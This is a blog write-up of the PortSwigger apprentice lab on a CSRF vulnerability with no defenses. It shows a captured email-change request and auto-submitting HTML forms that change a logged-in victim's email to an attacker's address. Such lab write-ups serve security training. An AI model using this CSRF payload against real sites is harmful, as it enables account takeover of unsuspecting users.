DEV Community 👩‍💻👨‍💻

Cover image for Portswigger’s lab write up: CSRF vulnerability with no defenses
Christian Paez
Christian Paez

Posted on • Updated on

Portswigger’s lab write up: CSRF vulnerability with no defenses

In this apprentice-level lab, we will exploit a site that contains a CSRF vulnerability in its email change functionality.

After signing in  and trying to update our account's email to something like 'test@gmail.com', we can see the following request in the Network tab of our browser or Burpsuite Intercept:

POST /my-account/change-email HTTP/1.1
Host: [0a9a0027047d6aaec1fa58be003b00b3.web-security-academy.net](<http://0a9a0027047d6aaec1fa58be003b00b3.web-security-academy.net/>)
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 22
Origin: [<https://0a9a0027047d6aaec1fa58be003b00b3.web-security-academy.net>](<https://0a9a0027047d6aaec1fa58be003b00b3.web-security-academy.net/>)
Connection: keep-alive
Referer: [<https://0a9a0027047d6aaec1fa58be003b00b3.web-security-academy.net/my-account>](<https://0a9a0027047d6aaec1fa58be003b00b3.web-security-academy.net/my-account>)
Cookie: session=bQKVomOrYf95eVTuf4XKAw9zlJQDsUUK
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Enter fullscreen mode Exit fullscreen mode

With the following body structure:

email=test@gmail.com
Enter fullscreen mode Exit fullscreen mode

Here we are able to identify that the update email action just requires a session cookie to authorize the user and the email parameter to execute this action. Let's use the reading material's HTML template for CSRF to build our attack:

<html>
    <body>
        <form action="<https://vulnerable-website.com/email/change>" method="POST">
            <input type="hidden" name="email" value="pwned@evil-user.net" />
        </form>
        <script>
            document.forms[0].submit();
        </script>
    </body>
</html>
Enter fullscreen mode Exit fullscreen mode

All we need to do is replace the action attribute of the form component to our lab's absolute email update endpoint (you can see it on the POST request we performed earlier) and the value attribute of the email input to whatever value we want the victim's email to change to:

<html>
    <body>
        <form action="{LAB URL}/my-account/change-email" method="POST">
            <input type="hidden" name="email" value="attacker@gmail.com" />
        </form>
        <script>
            document.forms[0].submit();
        </script>
    </body>
</html>
Enter fullscreen mode Exit fullscreen mode

If we save this as an HTML file, when someone visits our site, the form above will be submitted as soon as the page loads and an email update will be requested (as long as the user is authenticated on the lab's site since a session cookie is required to perform the email update action). To solve the lab, we have to go to the exploit server, store our HTML code, and send it to the victim.

Check out this write up on the Art Of Code: https://artofcode.tech/portswiggers-lab-write-up-csrf-vulnerability-with-no-defenses/
Github: https://github.com/christianpaez/portswigger/tree/main/labs/apprentice/csrf/csrf-vulnerability-with-no-defenses

Top comments (0)

🌚 Browsing with dark mode makes you a better developer by a factor of exactly 40.

It's a scientific fact.